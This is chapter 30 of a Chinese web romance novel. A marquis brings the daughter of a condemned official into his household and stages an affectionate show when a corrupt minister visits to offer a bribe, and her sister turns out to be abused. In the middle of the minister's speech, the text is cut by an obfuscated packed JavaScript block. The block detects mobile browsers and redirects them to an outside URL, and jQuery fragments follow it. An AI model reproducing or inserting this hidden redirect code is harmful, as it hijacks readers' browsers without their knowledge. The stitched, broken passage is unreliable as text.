30. 第 30 章

作品:《折卿:侯爷每天都在吃醋

    沈芷卿咽下后面的话,低着头,两颊还泛着红。


    傅执年骤然松开揽在她腰窝的手,低笑一声后继续往前走。


    镇国侯府虽占地百亩,但是傅执年常用的不过是后院自己的寝屋和书房,至于接待宾客的正厅,更是无人问津。


    反倒是下人们的院落排列整齐,房内的物件新鲜,比主子的住处还要热闹几分。


    眼下傅执年仓促接人回府,空屋来不及收拾,傅执年略一沉吟,便转了个方向便将沈芷卿领到了自己的寝屋。


    傅执年推开许久未住的房间,一股沉稳的檀木香便扑面而来。


    沈芷卿是头一回踏进他的住处,好奇地抬眼打量,只见屋内陈设极简,素木桌几打磨得光滑温润,案上只点着一支银烛台,连多余的摆件都没有。


    见沈芷卿傻愣愣地站在原地,知道她第一次来侯府不自在,傅执年随意指了指墙边的朱红衣柜,“你的贴身衣物,就放那边。”


    沈芷卿依言上前打开柜门,里面是傅执年平素上朝穿的大氅和锦袍,不过装饰都极其简单,就连花色全是玄色与暗红色,单调乏味。


    她轻轻将自己的衣服叠在衣柜的角落里,发现还有许多空余的空间。


    傅执年抬眼望了望窗外的日头,光影斜斜落在庭院阶前,离酉时还有约莫一个时辰。


    他转头看向对着衣柜发怔的沈芷卿,声音软了几分,“走,带你熟悉下府里的路,省得日后迷了方向。”


    “我又不是路痴……”沈芷卿小声嘟囔着,偏偏还是被听力极佳的傅执年听了过去。


    他在前头带路,脚步未停,“不是路痴?那你怎么连回家的路都记不住?”


    沈芷卿吓得闭上了嘴,生怕再被锁起来。


    傅执年虽久不回府,下人却不敢有半分懈怠,府内花园中的青石板路扫得一尘不染,花台里的腊梅正含苞待放,枝桠被修剪得疏朗雅致,风一吹便有淡香浮动。


    两人行至后院镜月池边,那水面结着层薄冰,像蒙了块透亮的琉璃,冰下几尾红鲤摆着尾鳍游过,搅碎了池面上云的倒影。


    沈芷卿看得入神,不自觉停下了脚步,望着池中游鱼轻叹一声,“它们多自由啊。”


    傅执年也跟着脚步一顿,听出她语气中的失落,侧过身盯着她的眼睛嗔怪道:“沈二姑娘,你这是怪我?”


    沈芷卿慌忙摇头,指尖攥紧了衣角,“奴婢不敢。只是看这鱼虾尚能在池中自在游弋,难免有些羡慕。”


    傅执年沉默片刻,忽然抬手,指腹轻轻拂去她发间沾着的一片落叶,“沈二姑娘,你要金银首饰绫罗绸缎,我都能给你。除了自由。”


    沈芷卿的心口像是被细细的针刺了一下,鼻尖一酸。


    是啊,自从父亲获罪那日起,她这个罪臣之女,早就没有了自由。


    沈芷卿叹了口气,垂眸回道:“奴婢知道了。”


    “不过,”傅执年话锋一转,目光扫过她苍白的脸颊,添了句,“你若是闷得慌,可以随意在侯府走动。”


    沈芷卿刚露出喜色,傅执年又继续说道:“除了书房,你不能踏进半步。”


    森冷的语气让沈芷卿心中一凛,“奴婢谨记侯爷吩咐。”


    傅执年带着沈芷卿继续朝后院走去,穿过抄手回廊时,廊下已经挂上了不少朱红色的崭新灯笼,随着微风轻轻晃动,暖光在廊下投下斑驳的影子。


    “年关了?”傅执年驻足,望着那些崭新的灯笼,眉头微不可察地蹙了蹙,他沉迷公务,向来对这些节庆不敏感。


    沈芷卿也跟着回神,原来过几日便是除夕了,只是往年此刻,沈福已经张灯结彩,父亲在书房写春联,母亲在厨房做荷月酥。而如今,家人离散,只剩她一人寄人篱下。


    “是快过年了。”沈芷卿也望着火红的灯笼,声音怯生生的。


    傅执年转头看她,见沈芷卿眼眶微微泛红,便知她是想起了家人。


    他向来不喜府中喧闹,往年过年,他不过是给下人们发了利是,便独自躲进书房,对着父母的牌位静坐一晚。


    想说的话不能言,想许的愿不能诺。


    门外的热闹都与自己无关,世间的快乐也与自己无缘。


    收回思绪时,他已轻轻捏住了沈芷卿的掌心,她的手微凉,像块暖不热的玉。


    “你喜欢热闹?”傅执年轻声问道。


    沈芷卿抬眸望他,眼里还凝着未干的水汽,“嗯。母亲在时,过年是宅里最忙的时候,灯笼挂得满院红,下人们围在炉边守岁,连笑声都暖烘烘的。”


    说到最后,她的声音渐渐低了下去,泪水在眼眶里打转。


    傅执年又捏了捏她微凉的掌心,喉结滚动了一下,“那今年,我们就在这里守岁。”


    沈芷卿缓缓抬眸,泪光闪烁,刚要开口道谢,飞云的身影已匆匆绕回廊而来。


    “侯爷,兵部尚书符大人求见。”


    傅执年眉峰微挑,松开沈芷卿的手,理了理衣袍前襟,“请他去主厅稍候,本侯即刻便到。”


    符明诚在正厅坐着,不安地摩挲着茶杯,嘬饮了几口茶之后,才看到傅执年携着沈芷卿迈步进厅。


    他连忙起身拱手,脸上堆起谄媚的笑:“侯爷,此次冒昧来访,还望海涵。”


    傅执年缓缓踱步在主位坐下,语气平淡,“符大人公务繁忙,竟还为解夫人相思之苦跑这一趟,真是恩爱,羡煞旁人。”


    符明诚干笑两声,目光在两人身上转了圈,“说起恩爱,哪及得上侯爷与沈二姑娘。”


    傅执年闻言,偏头捏了捏身旁沈芷卿的手心,语气带笑,“符大人客气了,请坐。”


    符明诚拉着身旁的沈慕羽坐下,目光先扫过这宽敞空旷的主厅。


    虽无名人字画点缀,可梁柱上的雕花繁复精巧,地砖纹路是御赐的云纹样式,比他那尚书府不知宽敞阔绰多少。


    但这打量不过一瞬,符明诚的视线又落回到了姨妹沈芷卿的身上。


    炙热的,黏糊的,带着野兽气息的。


    沈芷卿被符明诚看得背后发凉,默默侧过了脸,盯着自己的裙角。


    傅执年尽收眼底,不动声色地将她往身侧揽了揽,大手刚好落在她的腰肢上,带着不容抗拒的力道。


    沈芷卿惊得抬头,又气又恼地瞪他,他却指尖在她腰上轻轻一捏,低声笑道:“害羞了?”


    那亲昵的姿态,瞬间让符明诚的目光僵住,也让一旁的沈慕羽脸色骤然沉了下去。


    符明诚连忙收回目光,将茶盏往桌上一放,切入正题:“侯爷,今日在朝堂上,御史中丞冯大人那般污蔑您,真是太过分了!下官听着都替您不平。”


    傅执年皮笑肉不笑,往年符明诚弹劾他的时候,用词比冯大人刻薄十倍,现在倒是来当好人?


    他端起茶杯抿了一口,淡淡道:“符大人有心了。”


    “哪里哪里,”符明诚连忙接话,“对了侯爷,今日鸿胪寺卿关大人为您仗义执言,想必是您的至交好友?”


    “关大人不过是秉公办事罢了。”傅执年放下茶杯,坐直了身子,“本侯行得正坐得端,自然有人看在眼里。”


    符明诚的心一紧,索性不再绕弯子:“那侯爷……可是在鸿胪寺查到了什么关于胡商的线索?”


    傅执年挑眉,终于露出一抹了然的笑,“符大人今日前来,就是为了问这个?”


    他顿了顿,看着符明诚瞬间紧张的脸色,故意拖长了语调,“本侯倒想听听,符大人希望本侯查到什么?”


    符明诚吓得额头渗出细汗,咬牙道:“实不相瞒,那胡商能在上京城立足,诸多便利都是下官行的。侯爷若是查到什么,还望看在同僚一场的份上,高抬贵手。”


    说着,他朝身后的侍从递了个眼色,侍从连忙捧上一个精致的木盒。


    符明诚亲自打开木盒,取出一卷画轴放在正厅中间的案上,将画作缓缓展开。


    他堆着笑介绍道:“侯爷,这是吕松年大师的新作《秋江待渡图》。下官想着赠予侯爷,也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882143|189236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为侯府添些风雅。”


    傅执年漫不经心地远远扫了一眼,水墨丹青间秋江浩渺,笔法苍劲,确实是吕松年的风格。


    他故作清高的便摆了摆手,“画是好画,可惜本侯粗人一个,不懂这些风雅之事。”


    符明诚将茶盏往桌上一放,切入正题,就在沈慕羽打算起身相劝之时,傅执年忽然侧身,一把将沈芷卿搂到身前,指腹摩挲着她的腰窝:“不过,卿卿自幼饱读诗书,倒略懂些书画鉴赏。”


    沈芷卿闻言先是一怔,了然一笑然后挣脱傅执年的怀抱,起身走到案前。


    她俯下身,指尖轻轻拂过绢布,“吕大师最擅山水,此作尤重气韵,江面的烟波用淡墨晕染,层次分明。岸边的芦苇以枯笔勾勒,尽显萧瑟之态。确是他技艺集大成之作。这般珍品,千金难买。”


    “哦?这么珍贵?”傅执年也起身走到沈芷卿的身侧,一把握住她的腰肢,语气带着几分宠溺,“既然卿卿喜欢,那便收了。”


    腰窝处传来温热的触感,带着男人掌心的薄茧,沈芷卿浑身一僵,回头飞快地看了傅执年一眼。


    傅执年弯腰,在她耳边轻声说道:“演认真点。”


    沈芷卿只好低下头不再做声,旁人一看,倒是娇羞可人。


    符明诚见状,这才松了口气,连忙附和:“姨妹果然眼光独到。”


    一旁的沈慕羽却再也坐不住了,她的目光一直死死盯着傅执年放在妹妹腰窝上的手,那双手婆娑得越久,她的脸色就越难看。


    傅执年如此狎昵做派,简直下流至极,她紧紧攥着帕子,指节泛白,眼底满是怒色。


    下流之人似是察觉到沈慕羽的目光,微微收回手,转而看向符明诚,“符大人,两姐妹许久未见,想必有不少体己话要说。不如让她们去偏厅单独聊聊?”


    一进偏厅,沈芷卿便迫不及待地走上前,轻轻捏住姐姐的手,“姐姐,最近过得可好?”


    沈慕羽的手比上次见面时暖些,气色也红润了几分,但是她却连忙抽回手,下意识地看向门外,压低声音,“多谢妹妹关心,夫君待我很好,近来更是体恤我思念妹妹,特意带我来见你。”


    “待你很好?”沈芷卿打断她,猛地掀开她的衣袖,小臂上几块青紫淤青尚未完全消散。“这是什么?”


    “不碍事,这是我自己不小心撞到的。”沈慕羽慌忙将衣袖拉下,遮住那些伤痕,语气慌乱,“他如今对我已是宽容,妹妹别再生他气了。”


    “姐姐,我一定要救你出来!”沈芷卿按住她的肩膀,目光坚定,“符明诚与北蛮探子勾结,必然有利害往来的账册。只要拿到账册,不仅能扳倒他,还能引出当年陷害父亲的幕后黑手!”


    沈慕羽的心猛地一跳,抓住妹妹的手,“卿卿,你可有把握?”


    沈家蒙冤至今,父亲被关在诏狱,弟弟被流放漠北,这账册若是真能作为证据,便是沈家昭雪的希望。


    沈芷卿重重点头:“有。镇国侯如今正在调查符明诚,已经知道他与父亲一案有所牵连。”


    沈家出事之后,她也曾苦苦哀求夫君符明诚,请他托朝中关系好的同僚为父亲求情,可他不仅断然拒绝,还在朝堂上一口咬定是沈父私藏军械图纸。


    符明诚大义灭亲,名声在外,也正是因为他的证词,陛下最终定了沈父的罪,连带着也大义灭亲了自己的儿子太子殿下。


    如果此举能够救父亲,沈慕羽愿意一试,只是......


    她担忧地看向沈芷卿,“可是妹妹,那贼人万不可信,他今日在主厅对你那般......”


    “贼人?”沈芷卿闻言先是一怔,随即失笑道:“姐姐说的是侯爷?他性子是冷了些,却也没那么坏。”


    沈慕羽摇摇头,“姐姐知道那贼人,他狠厉无情,最是沉迷烟花之地,收你也只是为了满足一己私欲。”


    想起傅执年刚刚狎昵的动作,沈慕羽就心疼做了外室的妹妹,蓦地眼眶都红了。


    “卿卿,你受委屈了。”